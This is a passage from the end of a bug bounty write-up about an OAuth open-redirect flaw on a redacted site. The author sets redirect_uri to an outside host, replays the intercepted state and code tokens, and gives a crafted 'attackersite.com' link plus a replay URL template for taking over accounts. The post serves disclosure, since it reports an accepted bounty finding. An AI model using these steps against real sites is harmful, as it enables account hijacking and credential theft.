this:</p><p>https://redacted.com/login?action=login&amp;state=29f16a7e5c6f2b9970450b14a30f59d4&amp;scope=&amp;response_type=code&amp;approval_prompt=auto&amp;redirect_uri=https://tinder.com/auth/oauthCallback&amp;client_id=4jivia3ebm9mbpcj22i2n29pdi</p><p>Then I loaded this link and selected my google account from the browser to get logged in via Google but when the login process finished I was redirected to tinder.com.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dxs9WZ2KnNW2EJ-u84heOQ.png" /></figure><p>And also the state parameter and code parameter and their values also got sent to tinder.com. You can clearly see that in the screenshot above.</p><p>Now I again performed the same open redirection but this time I intercepted each request, observed it and then forwarded it. During this process I came across link like this:</p><p>https://app.redacted.com/auth/oauthCallback?state=afc167244e4216d28a652c4b3fb37651&amp;code=7f7abb1ee5e44692884a20218ce798</p><p>I copied this link from the burp interception, pasted it in a different browser and BOOM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/360/1*Z53RhFx9Rr1JGZsICASR6A.gif" /></figure><p>I GOT LOGGED IN.</p><p>It confirms that the url https://app.redacted.com/auth/oauthCallback?state=afc167244e4216d28a652c4b3fb37651&amp;code=7f7abb1ee5e44692884a20218ce798 have two tokens in the state and code parameter that gets the user logged in via Google SSO. These two tokens are obtained for a google account when the O-auth process is finished and the Google gives a green light in form of these tokens.</p><p>If one steals the token and add them into the url:</p><p>https://app.redacted.com/auth/oauthCallback?state=afc167244e4216d28a652c4b3fb37651&amp;code=7f7abb1ee5e44692884a20218ce798 and opens the link, then he will get logged in to the account of the person these O-auth tokens belonged to.</p><p>Interesting, isn’t it?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/360/1*_BqidzMjTnF_zu34ETO1YA.gif" /></figure><p>Now I have already found a way to steal tokens:</p><ol><li>Deliver the url to victim with attackersite in redirect_uri parameter</li></ol><p>https://redacted.com/login?action=login&amp;state=29f16a7e5c6f2b9970450b14a30f59d4&amp;scope=&amp;response_type=code&amp;approval_prompt=auto&amp;redirect_uri=https://attackersite.com/auth/oauthCallback&amp;client_id=4jivia3ebm9mbpcj22i2n29pdi</p><p>2. When the victim sign-in with Google tokens will be received at attackersite.com that is controlled by the attacker.</p><p>Once the attacker have tokens of the victim, all he need to do is put those tokens(state parameter and code parameter value) in this url:</p><p>https://app.redacted.com/auth/oauthCallback?state=VALUE1&amp;code=VALUE2</p><p>And then load this url, he will be logged in to the victim’s account making it a complete account takeover.</p><p>I have successfully reported this issue and it has been accepted. Waiting for the bounty.</p><p>If you enjoyed reading this write-up, do not forget to comment “Salaam Rocky-Bhai” in the comment section. :D</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*_9Y3YrhS79TuEDcAZJ1REw.gif" /></figure><p>“Meri dosti layak koi yaar nahi, Meri dushmani jhel sake aisi koi talvar nahi”</p><p>-Rocky( Since 1951)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=41c167db46" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>